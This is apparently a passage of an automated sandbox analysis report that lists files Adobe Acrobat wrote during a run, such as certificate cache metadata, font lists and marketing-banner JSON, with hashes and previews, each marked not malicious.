Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklIcxWttfllXlE/HT8k5AzllXNNX8RolJuRdxLlGB9lQRYwpDdt:kKRcoteT8wOdNMa8RdWBwRd
MD5:	6F9E5E9106C039BFC1BC479A842FB7A0
SHA1:	209EC882DC467B458AD8257BEAB75D4383A8E5DA
SHA-256:	EE4BAD787EFB0D5250F712A8669A86CC86F5FDB9DB5B64DAF2D0BDE9FB22638C
SHA-512:	697955DAE3F8DCEFF1FF7EEC4AF97157E0F1099565E6F1B920A1ACC80FA22B0A03912688A6F43C3775BB2D87C05EF487143551701B41F28C0524CA3C76D94A7B
Malicious:	false
Preview:	p...... ........{"...c..(....................................................... ..........W....\...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.233096791118922
Encrypted:	false
SSDEEP:	6:kKXKsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:fKsiDImsLNkPlE99SNxAhUe/3
MD5:	FB9D14DAD978E2D6B4BCF59E63D88F2B
SHA1:	7B8EE53E58EFFFC1B515C7B553F99DA6C037D70D
SHA-256:	115D0679128B390CC315062C352E9EAE87FB24479765A537FE4E18B208A55B96
SHA-512:	3B9A528724E5FA46E230796B717DC10DE248D3F11BCB144EF11263902EB0BE29EE1B98701B229B24464C3859C72EBF4AA8C27F7ECF34F215BA9B91BA2505E017
Malicious:	false
Preview:	p...... ........Ar..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7728

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7728

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.367797526642882
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJM3g98kUwPeUkwRe9:YvXKX2T5LjIPUGMbLUkee9
MD5:	796675153A47E3884A1DCA0D115FD143
SHA1:	068FCDB40CEE0D82B5D949535BE03CC4E7D10DC7
SHA-256:	9F8166B668EF868FE7A360EEEBBE6DBC4024CF6E35528F59D37E29E357333F90
SHA-512:	312015BA603E51978976E186078FBDC3480268304172565A922D6C577E5E1760E9728515DB8F5A8FF44957E3D9627068B72F63B3FF8F59350F488893BB82B743
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.321542077801903
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJfBoTfXpnrPeUkwRe9:YvXKX2T5LjIPUGWTfXcUkee9
MD5:	61173211F027E7952DEBA7472622F99E
SHA1:	4DE6011FF662FCD0D24CAB6CFBC26BF088D75CD3
SHA-256:	A1DBF8745FC867071CB6B3206D3A90AE7D0E4DAC85F1E1B611552334845BCAEB
SHA-512:	80DB81848F5F660FD717ADE2BA0ABD21566668435B739C4A949538E141663D06924C641F9D07C74D58A6068AC5EDA2013B7A1151B0C6F33DB5C16D8A24AA8D5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2993921713789724
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJfBD2G6UpnrPeUkwRe9:YvXKX2T5LjIPUGR22cUkee9
MD5:	1F1859AA725338C0B7AF41A0984B7988
SHA1:	B8C26949DD53F89834DB44AB4857BF2AB3B74268
SHA-256:	E41FBD9AF7490AE03CAE22E303F0CCB8E4DF235A0F8DF3E267754F5615B03EC6
SHA-512:	241D243730B18B5109C74519195F05FB7B7EE6921B8B2963C022ADDB489E9D35FA5C43B3E6FE04B3BFA5152F30580B5F4EEB594B7D1BC08D0441D91745FCBD5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3489551430727005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJfPmwrPeUkwRe9:YvXKX2T5LjIPUGH56Ukee9
MD5:	019D91EC3F8479D8D9722FCDF1E28D6C
SHA1:	CD25A8A52E5FEFBFDED0A9E99A1687367D42CE58
SHA-256:	6D47898DB71EC1EC3EC41A006A67A9A49405C858724FD4DB6522EB28FEA66BF0
SHA-512:	D1825FA11A2BC1D6F06151C24FA1EA8A0DBFE4974204B603DD3B2A0E8A5AA4DD8FA1741BA9199352B61AB8EC0BEF642A36A74D5DFB10F1A73E65B8455CDDF3EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.700401394499452
Encrypted:	false
SSDEEP:	24:Yv6X2T5XIJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSi:YvPXQhgy6SAFv5Ah8cv/i
MD5:	33601A2F268F7D1C5FF2B575EBFC8436
SHA1:	CE5BC1E16DA32E1A8ED5481D54060E9CE1CA7B0A
SHA-256:	20AAB59FD65F076CE561CEFABFAB824B5E16BBBE42B5B22FF24EB2F376183968
SHA-512:	C8B0C94390565F8575B0E83602DB11BFA9D5E5AF0C4D50B5BD39C402FDEFF299F92280D0ECC61B944BE216907CE5D74752D147F95CE32C7CD5920B8B0546918F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.32223161046488
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJf8dPeUkwRe9:YvXKX2T5LjIPUGU8Ukee9
MD5:	F17017A57B825D63FBB3E6A1A629B142
SHA1:	0EAF150E5513A238D5FCBB2951E63AD1421FEC4C
SHA-256:	D647EB54B06FD49B05B69BFB4967615BEA5C3A76E69807A445DFE83853BD90AF
SHA-512:	773C904185140D38E212CBD2044B8C14BAAC376B69E7A63F56640F9DFAC5E1C22636F9755B0FB35203E076809BB52864F04C8DA4F2F93F817668221056A8D43C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.313523858699611
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJfQ1rPeUkwRe9:YvXKX2T5LjIPUGY16Ukee9
MD5:	63AC6136AD53DB720665922A3D3ABC5D
SHA1:	07DF4D0595EF4EE950E5D4E318F63CB42B1977BB
SHA-256:	A7EC87EEFE2AB35E89875A7252B7B2C92895710743972C8B093E8EE9775468C7
SHA-512:	93F82ABC3F1F85AE098CCE1892833D4000CFADAD8BA4B70E7AFAF5E2B3D3763A2269F9F7F14CABB74936FFB6D3A80B46D1A3FDE1A3DD47505AED3AF6A766F876
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.331923669867173
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJfFldPeUkwRe9:YvXKX2T5LjIPUGz8Ukee9
MD5:	52548D9C3C745804C690E02701B99881
SHA1:	F1A3323C55689201CAB995129A3CC865DBB2AE64
SHA-256:	AC7E0050E8AE25F51924142AC11C9276EE1E8DE7959730C45D4E1158CE9261B7
SHA-512:	A8B24FDB610201FCF2605C7F3AAE5E0A8347FB11455920D4F58B9FBE5454C3798FE33D2422D580F259DA9C8B871AD1BA125EC4D2F8B69907E0433571393DE45C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3489323861783244
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJfzdPeUkwRe9:YvXKX2T5LjIPUGb8Ukee9
MD5:	8CADC4CA137501D5EF037F70A38E4AC8
SHA1:	75283D4E7DCFE2457D3A275DC18B062C2AAF0D85
SHA-256:	7F389CF93C1F3B853BFFB31D2DFE7B7AA94EDC487029685F968A8385EAB5EBCA
SHA-512:	604920687CF1C0A19155792AEEA3F2783A7AB787BB6BD5CBF38CFDD887F775791E3B887B8B1CE1D48BDA67E89459151889887D3FFCDB5605EB826FE9DE48F4AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.329896195277645
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJfYdPeUkwRe9:YvXKX2T5LjIPUGg8Ukee9
MD5:	94A899F6266CE80773483640FED38455
SHA1:	36F4E7D2693CA6D238EF0B6E5F57CE3FDDE12466
SHA-256:	D9D0E308ACDC1448788AE5B8091DE41F58FA87A527940EBA159305124636C724
SHA-512:	89F946E9224DBF91DF826D769EBAFB59449687D00CAC2C91659F0CC13AE03699127073D668427110292B9506DC73B192EE2C6866130A45B0524DDC8F0C44FC5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0843c2c1-2736-4277-a55b-d24b9cfb012e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715887676,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.316472909566675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHFDqGUJ92mSg1c2LjcWkHvR0YXoAvJf+dPeUkwRe9:YvXKX2T5LjIPUG28Ukee9
MD5:	543FC9A8D3A212C2EE34B69FF04BFB62
SHA1:	34A594C9ABBA78E12245EF22764350AE1D3CE04E
SHA-256:	EA0FC086B408A4B655176923BB119B97B707C978382F2B659A492E86C7AA0005
SHA-512:	D4DA2225BC84BA1CDFDFB6D591EA63DE462567205AFFF17CBB9362F150D28A8E2A5D43B06E8F83F5FBFF181B55B514D20E2858289C98C203E121B84DE13EF7A8
Malicious:	false
